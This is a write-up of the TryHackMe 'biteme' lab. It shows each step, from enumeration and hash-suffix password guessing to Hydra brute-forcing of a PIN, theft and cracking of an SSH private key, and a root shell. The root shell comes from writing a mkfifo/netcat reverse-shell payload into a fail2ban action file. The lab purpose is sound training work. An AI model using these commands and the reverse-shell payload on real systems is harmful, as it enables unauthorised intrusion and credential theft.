THM Writeup – biteme
Stay out of my server!
Enumeration
Add IP address to your hosts
file:
echo '10.10.254.182 biteme.thm' >> /etc/hosts
Scan the target machine – find open ports first:
nmap -n -Pn -sS -p- --open -min-rate 5000 -vvv biteme.thm
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 64
80/tcp open http syn-ack ttl 64
Get more details about open ports:
nmap -T4 -A -p 22,80 biteme.thm
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 89:ec:67:1a:85:87:c6:f6:64:ad:a7:d1:9e:3a:11:94 (RSA)
| 256 7f:6b:3c:f8:21:50:d9:8b:52:04:34:a5:4d:03:3a:26 (ECDSA)
|_ 256 c4:5b:e5:26:94:06:ee:76:21:75:27:bc:cd:ba:af:cc (EdDSA)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
We have SSH (port 22) and HTTP (port 80) open.
Directory bruteforce the web application:
gobuster dir -u http://biteme.thm -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt
===============================================================
/index.html (Status: 200)
/console (Status: 301)
/server-status (Status: 403)
===============================================================
While Gobuster scan was running, I checked web app root (http://biteme.thm/), viewed the page source – found nothing of interest.
Browse to http://biteme.thm/console/
We have a login window with captcha here.
By viewing the page source we found an interesting JavaScript function:
function handleSubmit() {
eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('0.1(\'2\').3=\'4\';5.6(\'@7 8 9 a b c d e f g h i... j\');',20,20,'document|getElementById|clicked|value|yes|console|log|fred|I|turned|on|php|file|syntax|highlighting|for|you|to|review|jason'.split('|'),0,{}))
return true;
}
The message was: “fred, i turned on php file syntax highlighting for you to review”
I had no idea what does that mean, so I search on google:
I found out that highlight_file
and highlight_string
are fuctions that could be used to render PHP files with syntax highlighting. Many servers are configured to automatically highlight files with a phps
extension:
More enumeration
So, I directory bruteforced the web application again, this time with phps
extension and path /console
:
gobuster dir -u http://biteme.thm/console -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x phps
===============================================================
/index.phps (Status: 200)
/css (Status: 301)
/config.phps (Status: 200)
/functions.phps (Status: 200)
===============================================================
Check index.phps
:
Username and password are validated and if they are valid user is redirected to mfa.php
.
Check config.phps
:
Awesome, we have username
Check functions.phps
:
The LOGIN_USER
we found earlier we have to HEX decode – use CyberChef:
The password provided by the user is hashed with md5
function and the password is considered valid only if the hash string ends with 001
.
I wrote a small python script to generate possible password:
#!/usr/bin/python3
import hashlib
for x in range(100000):
to_hash = str(x)
result = hashlib.md5(to_hash.encode())
md5hash = result.hexdigest()
last_3_chars = md5hash[-3:]
if (last_3_chars == "001"):
print("Password is:", x)
break
Go to http://biteme.thm/console and log in with the revealed credentials:
We are redirected to /mfa.php
– the site wants us to enter 4 digit code.
By viewing the page source we found JavaScript function with hidden message again:
function handleSubmit() {
eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('0.1(\'@2 3 4 5 6 7 8 9 a b c, d e f g h... i\');',19,19,'console|log|fred|we|need|to|put|some|brute|force|protection|on|here|remind|me|in|the|morning|jason'.split('|'),0,{}));
return true;
}
The message was: “fred, we need to put some brute force protection on here, remind me in the morning, jason”
Ok, it looks like we can brute force it, so first use this small python script to generate 4 digit codes list:
#!/usr/bin/python3
f = open('pins.txt', 'w')
f.write('0000')
f.write('\n')
for x in range(1000, 9999):
f.write(str(x))
f.write('\n')
Make the script executable and execute it:
chmod +x genpins.py
./genpins.py
Now we need to find out what is the name of a parameter that is used to send the code – open developer console, go to Network, enter a code and click continue:
Use hydra
to find the correct code:
hydra -l admin -P pins.txt biteme.thm http-post-form "/console/mfa.php:code=^PASS^:Incorrect code:H=Cookie: PHPSESSID=6eg7c7c14gt4u1i866f3dp6r2r; user=jason_test_account; pwd=5265" -V -t 4 -f
[80][http-post-form] host: biteme.thm login: admin password: [REDACTED]
Note: The code is not always the same – everytime the machine is restarted the correct code changes
User flag
Enter the code we revealed – we are redirected to http://biteme.thm/console/dashboard.php:
Let’s try File viewer
to view /etc/passwd
file:
As we can see, we have 2 normal users: jason and fred
Now check jason’s home directory /home/jason
– use File browser
this time:
We found user flag, try to read it with File viewer
– /home/jason/user.txt
:
Root flag
Also, there is an interesting hidden directory .ssh
in the jason’s home directory, check it out – /home/jason/.ssh
:
Bingo, it looks like we found jason’s private key, read it – /home/jason/.ssh/id_rsa
:
Jason’s private key is encrypted, nvm we’ll try to crack it – save it to a file named e.g. jason
and make it crackable/readable by john
:
/opt/john/ssh2john.py jason > hash
Crack the hash with john
:
john -w:/usr/share/wordlists/rockyou.txt hash
[REDACTED] (jason)
Change private key’s permissions and login via SSH:
chmod 600 jason
ssh jason@biteme.thm -i jason
See what jason can do with sudo
:
sudo -l
User jason may run the following commands on biteme:
(ALL : ALL) ALL
(fred) NOPASSWD: ALL
Jason can run ALL as root, but we need his password that we don’t have. Also he can run ALL as Fred without password.
Switch to user fred
:
sudo -u fred -i
See what Fred can do with sudo:
$ sudo -l
User fred may run the following commands on biteme:
(root) NOPASSWD: /bin/systemctl restart fail2ban
Find fail2ban
service and check it’s permissions:
$ find / -type f -iname 'fail2ban' 2>/dev/null
/etc/monit/monitrc.d/fail2ban
/etc/default/fail2ban
/etc/bash_completion.d/fail2ban
/etc/init.d/fail2ban
/etc/logrotate.d/fail2ban
$ cd /etc/init.d/
$ ls -la fail2ban
-rwxr-xr-x 1 root root 6712 Apr 4 2018 fail2ban
It is owned by root and for us only readable – hm, how to exploit this?
Let’s try to find all the files owned by fred
user – we might be lucky 🙂
$ find / -type f -user fred 2>/dev/null
...
/proc/1804/timers
/proc/1804/timerslack_ns
/proc/1804/patch_state
/etc/fail2ban/action.d/iptables-multiport.conf
/home/fred/.bash_logout
/home/fred/.profile
/home/fred/.bashrc
I think we have just found an interesting file owned by our user – /etc/fail2ban/action.d/iptables-multiport.conf
Open the file and as actionban
put this payload (don’t forget to modify IP and Port):
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.25.146 4242 >/tmp/f
Like this:
Open new terminal window and setup netcat listener:
nc -lnvp 4242
Go back to terminal with target machine shell and restart the fail2ban
service:
sudo /bin/systemctl restart fail2ban
Open another terminal on your attacking machine and try to login via SSH with nonsense password (you might have to do this few times):
root@ip-10-10-25-146:~# ssh fred@biteme.thm
fred@biteme.thm's password:
Permission denied, please try again.
fred@biteme.thm's password:
Permission denied, please try again.
fred@biteme.thm's password:
fred@biteme.thm: Permission denied (publickey,password).
root@ip-10-10-25-146:~# ssh fred@biteme.thm
fred@biteme.thm's password:
Permission denied, please try again.
fred@biteme.thm's password:
Permission denied, please try again.
fred@biteme.thm's password:
fred@biteme.thm: Permission denied (publickey,password).
root@ip-10-10-25-146:~# ssh fred@biteme.thm
fred@biteme.thm's password:
Permission denied, please try again.
fred@biteme.thm's password:
Permission denied, please try again.
fred@biteme.thm's password:
And we got a reverse shell as root
user:
Read the root flag:
# cat /root/root.txt
THM{[REDACTED]}
Do you like this writeup? Check out other THM Writeups.